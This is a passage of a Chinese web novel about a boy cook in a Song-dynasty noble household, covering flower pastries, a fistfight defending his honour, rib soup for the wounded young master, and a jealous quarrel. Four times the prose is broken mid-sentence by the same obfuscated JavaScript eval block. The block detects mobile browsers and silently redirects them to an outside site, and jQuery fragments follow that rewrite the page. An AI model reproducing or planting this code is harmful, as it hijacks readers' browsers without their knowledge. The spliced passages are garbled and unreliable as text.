林霜降看着他炸毛小狮子似的模样，觉得问题不大，待会儿回来吃个鲜花饼大约就能消气了。 花朝节原就有“百花生日”的好意头，最应景的吃食莫过于各色花糕，糯米打底，掺进去细细的花瓣汁子，既保留米糕的软糯，又融入鲜花的清鲜。 桃花、杏花、牡丹、桂花都可入馔。 因着之前中和节的蛋挞大获成功，这回做花糕的任务便也落到林霜降身上，林霜降问了卞厨娘从前府上做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937216|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花饼形式，想了想，把玫瑰酥饼定了下来。 小时候，那时林霜降还没生病，爸爸妈妈曾带他去云南旅游，那里的鲜花饼好吃极了，不仅饼皮酥脆掉渣，馅料中还可见明显的片状鲜花，花香浓郁，甜而不腻。 不正好可以用来做这花朝节的鲜花糕饼吗？ 听说要做玫瑰酥饼，卞厨娘便搬来好几盆花供他挑选，林霜降看了看，最后选了重瓣红玫瑰，还只选了刚绽开的花苞——若开得太盛，香气便散了，做出来的花饼也不好吃。 之后便是制油酥、腌花瓣、包花饼。 鲜花饼这东西喜小不喜大，幸而林霜降手小，包出来的花饼不过他圆圆掌心大小，喜人可爱，撒上作为点缀的白芝麻就能进窑炉烤了。 玫瑰酥饼香气漫开，满院都是浓浓的面皮麦香和玫瑰甜香，路过的蚂蚁都要驻足嗅闻几下。 常安还有其他几个小童在炉子旁眼巴巴盯着瞅着，过上片刻工夫便要抽鼻尖嗅嗅，闻闻香味解馋，只盼着炉子里的酥饼能快点好。 上回的蛋挞他们还没吃够呢！ 终于等到玫瑰酥饼出炉，刚从窑炉里取出的玫瑰酥饼还带着炭火的余温，林霜降给围观半天的小童们一人分一个，又趁热给卞厨娘送了去。 饼皮金黄，轻薄酥脆，似乎稍一用力就会碎成满手甜屑，最顶上的白芝麻也是烤得焦黄香脆，深红色的花瓣内馅从里面微微透出。 卞厨娘还没吃便夸：“不错，这酥皮层起得匀净，脆而不碎，玫瑰馅儿的汁水也都锁得牢牢的。” 她张嘴一口咬下，眼睛顿时一亮。 外层的酥皮简直松脆得不像话，咔嚓一声轻响便簌簌落在口中，满口酥香干爽。 里面的玫瑰馅儿又是湿润的，能嚼到切碎的花瓣，花香软糯，裹挟着白糖蜂蜜的清甜，香甜可口。 外酥里润，花香清甜。 “好，真是好！我原还怕你拿捏不好油酥的比例，或是玫瑰馅拌得太甜腻，没成想你做得这样好，比我亲手做的还合心意呢！” 卞厨娘赞不绝口。 听她这么说，林霜降便放下心来，他已经提前给李修然留好了三个，等他回来就能吃了。 想了想，林霜降又改了主意，打算给李修然留四个。 正想着，就见外面有人匆匆忙忙跑来报信。 李修然和别人打架了。 20. 打架 李修然本就为着林霜降不答应与他同游的事生气，再美不胜收的亭台水榭都无心去看了，只想着快快完事，好赶快回去黏林霜降。 偏偏他在园子门口付茶汤钱时听到了些闲言碎语。 杨尤——今日放园子的杨太尉之子，正与伴当咬耳朵，李修然在难听的嗤笑声中敏锐捕捉到了自己的名字，但对话内容却和他没太多关系。 他们议论的人是林霜降。 这些人忌惮李修然的身份和脾气，连背地里的小话都不敢说，但对林霜降就没那么客气了，“贱籍”“攀附”，什么糟污烂话都从嘴巴里吐出来，边说边还嘻嘻哈哈。 不过他们很快就笑不出来了。 没等他们放出下一句话，李修然的拳头便冲了出去，径直落在了杨尤的面门。 李修然年纪小，瞧着是金玉堆里养出的模样，力气却不小，自小便比同龄人身高高出一大截，身体健康强壮，打人的拳头自然也疼。 这杨尤实在嘴贱，名字还叫他最讨厌的羊油！ 但凡他今日编排说嘴的是自己，李修然或许还能夸他一句有几分胆子，但既然将那些腌臜言辞沾了林霜降，那便没什么好说的了。 只有吃自己拳头的份。 杨尤也是个娇养长大的，从小到大没受过委屈，更没挨过打，人生头一回当面挨了一拳，整个人都被打懵了。 他手捂着眼睛从指缝里瞧见李修然那张冷得吓人的小脸，心说怎的也没个人通风报信，但还记得要甩锅。 “你、你何故打人——” 话音未落，李修然又是一拳，这回落在了杨尤另只完好的眼睛。 “你方才说他几句？”李修然一字一顿道，“你说几句，我就打你几次。” 杨尤脸上火辣辣地疼，又似乎听见周围憋笑的嗤嗤声，一张大圆脸都涨成了猪肝色。 李修然小小年纪便荒唐失格，他早就看不顺眼了，只是忌惮国公府权势，不敢真去触他的霉头，这才揪了那烧火童来过过嘴瘾——谁不知道李修然近来缠一个烧火童缠得紧，连床榻都肯分一半！ 没成想却被李修然捉了正着，还当众挨了揍，被大大地下了面子。 今日可是到他家园子赏花哪！ 杨尤越想越咽不下这口气，把他爹先前嘱咐他的话都抛在脑后，捂着脸，大声怪叫一句“李二你欺人太甚”便朝李修然冲了过去。 两个锦衣孩童霎时扭打成一团，周遭公子哥儿们拉架的、叫好的、围观的，还有偷偷溜走去报信的，乱成了一锅粥。 此事很快惊动了前厅的李游和杨太尉，两个大人风风火火赶来，就见园子里已乱成一团，自家俩孩子脸上也都挂了彩。 李修然嘴角破了道口子，身上灰扑扑地滚了许多尘土草屑，明明该是一副十分狼狈的模样，脸上表情却执拗得很。 杨尤比李修然长了两三岁，身子也胖许多，是个不折不扣的富贵大胖小子，在这场打架中本该很有优势，但情状可比李修然惨多了。 衣服上下沾满了泥浆草叶，被树枝豁出几个大口子，很没法看，脸上更是凄惨，几个五官已没有一个好地方了。 他吃痛，鼻涕眼泪滚滚而下，让肿成猪头似的脸越发污糟，指着李修然对杨太尉哭道：“爹，爹，他打我！” 杨太尉看着儿子，又是心疼又是气恼。 他清楚自己这个儿子不成气候，欺软怕硬又爱说人闲话，于是晨起时特意叮嘱，今日纵有千般不满也得咽回肚里，尤其不许议论李国公府的二公子。 他这个太尉虽是正二品的武阶官之首，为武将最高荣誉阶官，但其实并无实际军政职权，只作为加衔授予，哪里比得过从一品爵位、地位尊崇的国公呢？ 话犹在耳，结果他最担心的事还是发生了，他儿子竟当着这么多人的面去触李二公子的逆鳞！ 想到李家还有不少旁支在御史台任职，杨太尉仿佛已看见明日弹劾的奏章：教子不严、藐视勋贵、家教无方…… 他冷汗都要下来了，心头已掠过七八种赔罪章程，战战兢兢问道：“不知是发生何事？” 李游也皱起眉头：“到底怎么了？” 李修然仰起脸，声音清亮：“他说我朋友坏话。” 闻言，杨尤马上捂着鼻青脸肿的脸嚷：“一个灶下奴，算得上什么朋友？！” “哦？”李修然转过头来，轻飘飘道，“原来贵府择友只依身份地位，不看其他。” 杨太尉哪里敢受这句话，连忙说了句“二公子莫要生气”，又朝着李游深深一揖，“犬子无状，竟说出这等昏话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937217|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实是我管教无方，明日必送这孽障去家中祠堂跪省！” 说罢狠狠瞪向不成器的儿子，“还不给二公子赔罪！” 听到跪祠堂三字，杨尤终于意识到事情的严重性，瘪了瘪嘴，哭哭啼啼地道歉了。 *** 赏春没成，李修然顶着脸上的伤回家了。 他心里却很庆幸：幸好林霜降今日没跟着来，不然那些烂话就要脏他的耳朵了。 他不从因林霜降的身份而对他有所贬损。 说到底，他不过也是占了投个好胎的便宜，没什么了不起的。 而其他人更没资格说林霜降的不是。 刚到府上，李修然便又被李游叫去听道理了。 “你以德交者，德馨则聚，这是好的，但行事未免鲁莽，以后万不可如此了。” 听着亲爹说的“伤人不可取”，李修然心不在焉地点点头，心想以后若再遇上杨尤，见他一次便打他一次。 瞅见小儿子嘴边伤口颜色已经泛起青紫，李游到底心有不忍，只罚他抄十几遍书便挥挥手，让景明带他回去上药了。 李游爱子，但并不惯子，李修然更小的时候时不时就要挨一次戒尺手板，受伤是常有的事，故而红花膏、白及膏这些活血散瘀、促进伤口愈合的药都在家中日常备着。 景明取出一罐子白及膏，正要给李修然上药，却被他偏头躲开了。 “收起来吧。”他不甚在意地道，“这点小伤算什么？过几日便能好了。” 景明急得都要出汗了，“二哥儿，这伤口若不处置，肿起来怕是连粥都喝不得，您且忍一忍，上了药才好得快，实在不成好歹敷些冰帕子……” 李修然把头摇成拨浪鼓：“不上不上！” 主仆二人一个劝一个拒，正僵持间，林霜降进来了。 听说李修然是和太尉之子打的架，林霜降焦急得不行，马上便赶了过来，进门就瞧见李修然嘴角那抹鲜红血痕，在那张白净小脸上格外明显。 看见他，李修然也是一愣，眨了眨眼。 不知想到什么，他忽然一把将景明手里的药瓶抢过来，塞到林霜降手里，还煞有其事地哎呦几声。 “我这伤疼得厉害……林霜降，你帮我上药。” 景明：？？？ 21. 莲藕 林霜降接过药膏。 他抬头，看着李修然面颊那道寸许长的伤口，已经肿起小片青紫，横亘在那张玉白小脸上显眼极了。 林霜降没见过李修然受伤的样子，第一次见，难免感到一阵心疼。 他不知道李修然和别人打架的具体缘由，但小孩子之间打架，左不过是些口角之争，拌几句嘴，哪有下这样重手的道理？ 那杨太尉的儿子实在是太过分了。 都把人打成什么样了。 瞧见林霜降担忧的目光，李修然知道他是关心自己，有些高兴，可又不想看他如此难过，便故意笑着逗趣：“如何，是不是破相了？” 谁知，这一笑牵动了伤口，疼得李修然呲牙咧嘴。 林霜降连忙让他不要笑，把手里那瓶白及膏启开木塞，温和的草本清香散了出来，闻起来有点像刚融化的酥油。 应该是好用的。 正要将药膏给李修然抹上，林霜降忽然想到什么，放下药瓶，另取了淡盐水来，用干净布巾子沾湿。 “待会儿可能会有些疼，二哥儿且忍一忍。” 他听说李修然与那杨太尉儿子是在花园里打的架，少不了要在草地滚上几圈，伤口沾了泥尘，应该充分消毒才是，又是脸上的伤，更是马虎不得。 此时没有酒精碘伏，便只能用盐水代替了。 李修然还不知将要发生什么，想着就算疼能有多疼，又是在林霜降面前，更觉不能露怯，将腰背挺得笔直。 “没事，区区小伤，根本……” 他话还没说完，林霜降便将浸湿盐水的帕子按在了他嘴角伤口处。 “……”李修然吸了口凉气。 杨尤那大胖小子打他那几下都不算什么，林霜降这一下才是让他疼得真情实感。 但因着是林霜降，李修然觉得这点疼痛甘之如饴。 消毒完毕，林霜降将盐水擦干净，从瓶子里挑出一点乳白的白及膏，指尖蘸着膏体，轻轻涂在李修然脸上的伤口。 他动作轻柔，李修然只觉得伤口处又麻又暖，连疼痛感都好像被这温柔的动作抚平了。 见林霜降轻而易举完成了“给二哥儿上药”这样的高难度任务，景明不仅没有丝毫不忿，反而觉得心中的一块大石头总算落了地。 还得是霜降啊！ 这么多天下来，他对待林霜降已然很亲近了。 景明松了口气道：“这白及膏里加了珍珠粉，每日按时换，二哥儿脸上定不会留疤的。” 李修然听到这话皱了皱眉。 从前从树上摔下来磕破额头，或者投壶时不慎被箭矢划破手臂，他连眉毛都不曾皱过，男子汉大丈夫，身上多几道疤又有什么关系。 但现在，他和林霜降同在一张床上睡觉，若是留了疤，晚上同榻而眠时林霜降会不会觉得他丑，会不会不愿与他一起睡觉了？ 方才他逗问林霜降自己是否破相，林霜降都没说话！ 说明他很介意了！ 李修然越想越心烦，心里又把罪魁祸首杨尤大骂几十遍，又偷偷去瞧那瓶已被林霜降妥帖盖好塞子的白及膏，心想，这药膏一定要按时用着。 千万不能让脸上留疤了。 林霜降倒是没去想“破相”的事，正琢磨着该给李修然做什么吃食。 前世，每次抽完血，或是做了一场小手术，妈妈都会在忌口范围内变着法儿给他做好吃的，有时是鸡茸粥，温在保温桶里，有时是炖得软乎乎的蛋羹，撒着碧绿的葱花。 她总边吹凉勺子边说：“我们霜降吃了这个，伤口就好得快了。” 长此以往，在林霜降心里，受伤以后就是要吃好吃的，不仅是安慰心灵，也能加速伤口愈合。 李修然也是，那么矜贵的小公子受了伤，合该吃些好的。 思来想去，林霜降决定炖莲藕排骨汤。 莲藕清热润燥、凉血散瘀，排骨也非发物，两者炖汤一清一补，最适宜外伤养身，味道也很好。 唯一值得担忧的是用猪排骨是否合适，但好在李修然本人对猪肉并不排斥，相反还很喜欢，林霜降又与他熟到能在同一张床上睡觉了，用料便没之前那么深思熟虑，想用猪排骨就用猪排骨。 如今林霜降在李修然与卞厨娘面前都极得脸，大厨房为他开放的权限更大，几乎任何食材都能用得，况且此番是为了受伤的李修然做饮食，师出有名，大厨房的人一听便极为热情主动地给他腾出一个灶眼，备好食材后便将使用权交付给他。 林霜降看着面前琳琅满目的菜蔬鲜肉，目光移向那几根莲藕。 宋时，夏有莲房，秋有新藕上市，他手上拿着的是冬末采收后保存下来的窖藏藕。 林霜降也是穿过来才知道，原来宋朝储存莲藕的方式已很完善了，冬末莲藕经过采收会选择完整无破损的藕段，埋在地窖的湿沙中。 这种储存方式能让莲藕保鲜至次年农历二三月，甚至四月，是宋代早春常见的存冬菜。 而且窖藏藕淀粉含量高，口感粉糯，比当季新藕更适合炖汤。 林霜降选了截最为粗壮的，洗净削皮，藕肉雪白饱满，切成滚刀块时能闻到淡淡的清甜藕香。 二月能吃到这般新鲜的藕，也就国公府有这条件了。 自从得知李修然爱吃猪肉，大厨房的人挑选起猪肉来比从前更上心了，这回被林霜降拿来炖汤的是刚从猪身上剔下的肋排。 约莫三寸来长，薄薄筋膜覆在骨上，骨细肉厚，厚实匀称，极嫩。 林霜降尤其爱吃这种小肋排，熬汤或是直接煨炖都好吃，炖到肉酥烂脱骨，轻轻一抿，嫩肉便从骨头滑进嘴里，配一碗刚出锅的白米饭，把肉汁子拌进去，拌饭吃肉，那滋味好得能把舌头吞下去。 林霜降想好了，等再过些日子，就撺掇李修然吃顿炖排骨。 炖排骨是以后要吃的，排骨汤是现在要喝的，林霜降把小肋排用清水冲洗干净，下锅焯煮，白花花的浮沫往上涌，又被他用长柄勺撇去。 宋人炖汤最常使用的是砂罐，和林霜降从前见过的砂锅大差不差，材质为耐高温的粗陶，壁厚透气，能让食材的鲜味全部渗出，国公府厨下常用的这只砂罐据说是用了五年的老物件，炖出来的汤品比寻常锅子更鲜醇入味。 林霜降捧起砂罐放在灶上，往里面添足水，滚开便把排骨放进去，补几片生姜几段葱白，大火烧开转成文火温温烧着，罐口很快便飘出清鲜肉香。 待排骨炖至半个时辰，肉质松软，筷子一戳便能轻松戳进肉里，林霜降才将藕块滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937218|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去。 之后便是耐心等炖。 林霜降守在灶边，时不时掀开罐盖瞧一眼，搅一搅，觉得差不多了才放调料调了味道。 肋排新鲜，莲藕鲜嫩，无需复杂调味，只用盐便能勾出极致的清鲜，莲藕排骨汤的鲜香气越发醇厚，肉的清鲜中带着藕的甜润，令人口舌生津。 暮色斜斜洒进厨房，砂罐里的莲藕排骨汤咕嘟冒泡，热气升起，裹挟着浓郁的香气从厨房飘散出去。 廊下几个路过的小丫鬟忍不住停下脚步，鼻尖不住地嗅，交头接耳道：“这汤太香了，定然是炖得极好的！” “是不是又是霜降做的呀？” “我瞧着是，说起来，霜降年纪轻轻就有这样好的手艺，可真是了不得……” 夸赞他厨艺的絮絮碎语恋恋不舍地散去，林霜降也端着汤回了李修然屋里。 “今日炖的是莲根排骨汤，对伤口好，二哥儿快些喝了。” 林霜降厨艺好，李修然自从第一次见他就知道，林霜降是他见过厨艺最好的人，他喜欢和林霜降一起吃饭。 当即听话地取了筷子与汤匙，在桌前乖乖坐好。 汤面清澈透亮，排骨酥软地卧在底下，藕块粉糯饱满，香气顺着热气盈满鼻腔。 李修然吹散热气，先尝了口汤。 汤汁微微烫口，排骨的鲜醇打底，加上冬藕独有的清甜，肉骨头缝里的鲜香似乎都融了进去，回甘悠长，鲜香得很。 再夹一块排骨，脱骨软烂，酥软得几乎入口即化，香而不腻。 最好吃的是汤里的藕块，粉糯得用筷子一戳就碎，吸满了骨汤的鲜汁，又没丢自己的清甜，咬下一口，绵软粉糯。 肉鲜藕甜，温润爽口。 连汤带肉吃下去，李修然只觉得五脏六腑都被熨帖得舒舒服服，浑身舒坦，似乎连伤口都不疼了。 他吃着，还不忘劝吃林霜降，将一只排骨盛得满满的汤碗推到他面前。 林霜降一开始还拒绝，但一听李修然说“多吃肉才能身体强壮”，为了能更好地拎动锅铲，便乖乖啃起了排骨。 *** 李修然的身体比林霜降想象中还要好，不过几日，嘴角的伤口便消了，一点痕迹都没留下来。 林霜降放心了，同时默默想，看来李修然不是疤痕体质。 难怪那么爱打架。 伤好之后，李修然便央林霜降陪他再赏花一次，也算全了没过好花朝节的遗憾。 那日没跟李修然一起去放园子，林霜降心中一直有小小的愧疚，这回便点头答应下来。 此时距离花朝节已过去数日，那些玉壶园、古柳林园、云洞花园、小湖园早就闭了，林霜降也不能离开大厨房太久，两人便在国公府外的街道两侧随便找了几树花赏。 春三月，玉兰花开正盛，亭亭枝干上缀满雪盏，徐徐舒展，风一过，满枝都是簌簌莹白。 林霜降捡了朵刚打旋儿从树上飘下的，打算压平做成书签，顺道问李修然：“二哥儿要不要？” 李修然自然没有不要的道理。 他仰头看着树枝上碗口大的玉兰花朵，想起林霜降给他炖的那锅鲜香的莲根排骨汤，觉得当初那一架打得很值。 他以后还要和杨尤打架。 22. 别扭 “爱人者，人恒爱之；敬人者，人恒敬之。” 国子监小学斋厅内，周博士手持一本刻本《孟子》端坐案前，对着满堂小豆丁们逐字解释：“爱人，便是同窗跌倒时伸手扶一把，有人无笔墨时借他一用；敬人，即见了师长躬身行礼……” 李修然坐在堂下，小手按着自己的书页，听得认真。 自从与亲爹达成“要想晚上和林霜降一起睡觉必须认真听讲”协议后，李修然便一改先前趴在最后排打瞌睡的习惯，变得认真好学起来——这些早已烂熟于心的讲学，往常他都是不听的。 周博士惊讶于他的改变，没少送出夸赞，从前那些想巴结他却寻不着门路的，见他收性入了正道，也都纷纷卯足劲夸他。 李修然对这些如潮水般涌来的赞誉很不以为意。 他只要能和林霜降一起睡觉就好。 散课后，李修然取出林霜降给他做的那片玉兰花书签，小心地夹进今日所讲书页中。 有个眼尖的同窗瞧见，立刻便夸：“李二，你这玉兰花书签好生雅致呀！压得如此平整，花瓣纹路像画上去一般，比那些寻常用竹片木片做的书签好看多了！” 望着温润米白、花香残留的玉兰花，李修然眼角眉梢都是藏不住的得意，挺起胸膛骄傲道：“这是我好朋友亲手为我做的。” “好朋友”这个词是林霜降告诉他的。 当时他和林霜降躺在床上睡觉，林霜降睡觉时总是规规矩矩平躺着，像个裹得严严实实的蚕宝宝，后颈碎发毛茸茸地蹭着枕头。 李修然盯着他瞧了半晌，不知为何，胸中忽然生出一股难以抑制的激动，想也没想便张开双臂搂住他，箍得紧紧的。 他在林霜降耳边道：“林霜降，你是我最相好的。” 林霜降正处于半梦半醒间，冷不防被李修然搂进怀里，又得了这么句话，便睁开惺忪睡眼，迷迷糊糊地看他一眼。 这孩子说什么呢？ 他猜测，这大约是宋朝小朋友们表达“你是我最好的朋友”的说法，但不妨碍他听着别扭。 “相好”这词，听着怪像媒婆给人说媒。 林霜降困得很，打了个小小的哈欠，两只小手抵住李修然胸口，将他轻轻往外推了推：“二哥儿以后还是说‘好朋友’吧。” 好朋友？ 李修然在心中反复咀嚼几遍，很快便接受这个词，觉得甚好，他与林霜降不就是最好的朋友吗？ 于是答应下来，并逢人就说。 估计再过不久，包括博士在内整个斋厅的人，都能知道林霜降是他最好的朋友了。 李修然想想都觉得高兴。 只是，他的这份高兴并未持续多久。 等到坐马车回府来到厨院，看到上回那个小童——似乎是叫常安，手里托着一块撒着金色桂花瓣的润白糕点，李修然脸上的笑容便消失了。 他一眼就认出那是林霜降做的桂花糕，用糯米粉和桂花蜜做的，蒸出来便带着一股清甜香气，软糯香甜。 他吃过，所以知晓有多好吃。 他还知道，林霜降人缘好，厨院里的那帮小皮猴子都喜欢和他玩。 林霜降从来不只有自己一个朋友，他会分给自己糕吃，也会分给别人糕吃。 李修然从前尚且还勉强可以忍受，现在却是怎么也忍不下了。 他将林霜降当作最好的朋友，那林霜降呢，是不是也把他当作最好的朋友？ 李修然没有答案。 他忽然生出把府上其他小童都打发走的想法，这样一来，林霜降就只能和他一个人玩了。 但不行，林霜降虽然性子温和，从没对谁发过火动过气，但李修然莫名笃信，如果他真的这样做了，林霜降一定会生他的气。 李修然越想越生气，还有点委屈。 望着不远处仍在快乐吃糕的小童，他在原地静了片刻，忽然跑上前去，一把将对方手中的桂花糕夺走了。 常安一回神就见手里的桂花糕没了，还转移到怒气冲冲的二哥儿手里，登时就吓哭了。 “呜呜哇——” 他啥也没干啊……二哥儿怎么突然就冲着他来了！ 变故发生太快，林霜降还没弄清发生什么，从厨院出来就见方才还吃糕美得冒泡的常安已经哭出鼻涕泡。 对面的李修然也是拧着两条眉毛，乌黑瞳仁里面噼里啪啦炸着火星子，仿佛生了好大的气。 不多时，景明便将哭得鼻涕眼泪横流的常安带了下去，又将其他围观的闲杂人等散了。 院里只剩下林霜降与李修然两个人。 林霜降左右瞧了瞧，确定四下没人，才站到李修然面前，声音软软的，但比平常略严肃地对他道：“二哥儿，不能如此。” 他知道李修然近来有心向好，这几日他在厨院都有所耳闻，说李修然在学里得了不少夸赞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937219|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褒奖，这对他来说是难得的好名声了，如今怎么能因为区区一块糕饼乱发脾气？ 若是被有心人知晓此事，定然会好好做上一番功课。 瞧着对面比他高出一个头的男孩，林霜降想，这人好不容易才挣来点好名声，自己既然知道他不是真的顽劣，便不能眼睁睁看着他再被脏水泼回去。 李修然却完全会错意了。 林霜降真的在怪他拿走了那小皮猴的糕饼……他果真没把自己当作最好的朋友！ 他越想越委屈，定定看了林霜降一会儿，转身便跑了。 *** 夜晚，灯火昏暗，月光透过窗户，将整个屋子浸润得一片朦胧。 明明是被褥最松软、熏笼最暖和的时辰，李修然躺在榻上，翻来覆去的睡不着。 林霜降今晚没来和他一起睡觉。 他盯着对面空了大半的床榻，那位置本该睡着个暖烘烘的小身子，就躺在他身边，现在却只剩下一条叠得方方正正的小被子。 李修然看了片刻，烦躁地又在床上打了好几个滚。 见他如此，景明心中也很不是滋味。 自家二哥儿一贯心胸宽阔，便是当初被那些爱嚼舌根子的在背后随意编排，到了晚上也能坦然安睡，哪曾这般失眠过？ 他忍不住说：“二哥儿，不如我去把霜降唤来吧？” 李修然摇摇头，声音闷闷的：“不准去，我睡得着。” 见他坚持，景明也不好再说什么，叹了口气，继续值夜去了。 李修然躺回床上，继续翻来覆去，许是翻得累了，这回倒是勉强睡着了，还做了个梦。 梦里，林霜降做好了桂花糕，灶火映得他脸颊红扑扑的，他掀开笼屉取了糕饼，眉眼弯弯地朝自己走来。 李修然伸手要接，却见林霜降笑盈盈转身，把糕饼递给他身后的一个模糊人影，不再给他了。 李修然马上睁开眼睛，一颗小心脏砰砰直跳。 ……真是好大一个噩梦。 明明是梦，他心头却泛起真实的苦涩，仿佛真被人抢走了什么东西，心口都空了一块。 李修然难过得都要哭鼻子了。 这一番情状都落入景明眼中，景明不再犹豫，马上道：“二哥儿，我去帮你叫霜降！” 但李修然比他更快一步。 “不。”他已起身穿起鞋袜，目光认真，“我要自己去找他。” 23. 蛋黄 在李修然生气这段时间，林霜降给他做了蛋黄酥。 李修然跑开后，他便去问常安发生了什么，常安虽哭得真情实感，但后来见李修然并未将他如何，那股担惊受怕的伤心劲便缓下来，告诉林霜降自己啥也没干，是二哥儿上来就将他的桂花糕抢走了。 林霜降便知李修然这是又护食了。 这么说来，李修然生这场气的源头似乎与自己有关，换作从前，林霜降定然会不知所措，但今时不同往日，他已经充分掌握了哄孩子的技巧。 只要给李修然做顿好吃的就可以了。 只是李修然这回气头颇大，寻常的吃食怕是哄不好，林霜降思来想去，便有了这不寻常的蛋黄酥。 宋时盛行各类外皮酥脆、甜口夹心的酥饼糕团，但还未有蛋黄酥这种将咸蛋黄、酥皮、豆沙搭配在一处的糕点，确实很有新意。 应该能把李修然哄好。 定好主意，林霜降便跑去大厨房，先去瞧了咸蛋黄。 因着早期腌制咸鸭蛋常用杬树皮汁，时人便将咸鸭蛋称作“咸杬子”，即便后来的腌制方法改进为米汤、盐、草灰等调和包裹鸭蛋，但当时的名字却一直流传下来。 最令林霜降感到震惊的是，国公府选用的鸭蛋竟然是高邮麻鸭所产——原来这时就有高邮这个地方了，而且还有《端午的鸭蛋》里汪曾祺先生念念不忘的高邮咸蛋。 以前听语文老师讲课时，林霜降总被那句“筷子头一扎下去，吱——红油就冒出来了”馋得偷偷咽口水，没想到重活一世，竟见着真主了。 恰巧旁边有切开的一枚，林霜降凑过去便瞧见传说中的高邮鸭蛋，个头比平常鸭蛋要大些，“深红杬子轻红鲊”，对应的蛋黄也饱满硕大，色泽橘红浓郁，蛋白也是凝脂如玉。 用来做蛋黄酥肯定好吃。 林霜降没急着做，先去请示了卞厨娘，顺便问她这鸭蛋是怎么腌的。 卞厨娘是个惜才的，自打中和节那日林霜降露了一手做蛋挞的灵透手艺，她便认定林霜降是难得一见的厨艺奇才，是灶王爷追着喂饭长大的，大厨房所有人加起来都比不过。 此刻见林霜降迈着小步子跑来虚心求教，卞厨娘心里那点爱才之心咕嘟咕嘟快要冒起泡来。 她也不藏私，将咸鸭蛋腌制方法全部告诉给林霜降。 “桑木灰、茶籽壳灰调和黄泥，放坛子里恒温慢腌，如此腌成的咸杬子自然流油，不会干涩和过咸发苦。” 林霜降都听愣了，好多没听过的陌生名词，这就是传说中的古法精细腌制吗？ 他规规矩矩朝卞厨娘行了一礼：“多谢卞厨娘告知。” 卞厨娘平日里虽教他规矩活计，但两人并非正式师徒，愿意倾囊相授，林霜降很感激。 他都记在心里了。 卞厨娘看着他规矩知礼的模样，越看越心热，心中喜爱更甚，恨不得将毕生所学都传授给他，连忙将他扶起来。 “好孩子，咱们都是灶前讨生活的，不讲那些虚礼——你要这咸杬子做什么，心中可有了章程？” 林霜降便回答了，当然没提李修然生气的事，只说要给他补身子。 说到这个，卞厨娘笑起来：“咱们二哥儿是没少长个子，开春新裁的袍子，才过去多少天袖口就短了半寸！八岁的孩子，身量蹿得比十几的还猛，便是大郎小时候也没抽条成这样。” 林霜降深以为然地点点头。 可不是，他和李修然第一回见面的时候，瞧着对方个头还以为是个十岁孩子，没想到只将将比他大了一岁。 林霜降有点羡慕，他怎么就没长那么高呢？ 若是长得高，颠勺也能更松快些。 除此之外他还注意到卞厨娘提到的大郎——李国公的长子，李修然的兄长，李承安。 林霜降来李府来得晚，没见过府上的大公子，但没少听说对方的名号，乃西北经略安抚使，常年驻守边疆，再过几年就能功成名就，回到汴京。 李修然和兄长相比虽年纪幼小，却也是正经考进的大宋最高学府国子学，搁在前世便是保送清华北大的顶尖苗子，将来也是要入阁拜相的。 李家二子，一文一武，皆是龙凤之姿。 林霜降心下感叹，放在后世，一个人家要是出了这样两个儿子，肯定要被人说“祖坟冒了青烟”。 说不定这时候也有不少人这样说李家。 正想着，林霜降便听卞厨娘问他：“……霜降啊，除去咸杬子，你还需什么东西？” 林霜降回过神来，又报上豆沙、糯米粉等物。 他要做的是豆沙麻薯蛋黄酥。 宋朝的豆沙基本都以赤豆为主，煮烂捣碎再用纱网过滤豆皮，国公府厨下的豆沙还配油翻炒过，制成的豆沙油润顺滑，常搭核桃碎来做碧涧豆儿糕。 豆沙是不用林霜降操心了，但麻薯不行，此时虽已出现口感软糯有弹性的糍糕、糍团之类的点心果子，但和后世有嚼劲能拉丝的麻薯还是存在很大差别，林霜降没法偷懒，只好自己做。 糯米面是江南糯谷舂了又筛，去除粗渣后留下的细粉，莹白如雪，米香扑鼻，林霜降舀了几碗倒进盆中，又添了小半碗澄粉，也就是小麦淀粉，磨得比糯米面还细，能让麻薯更弹韧。 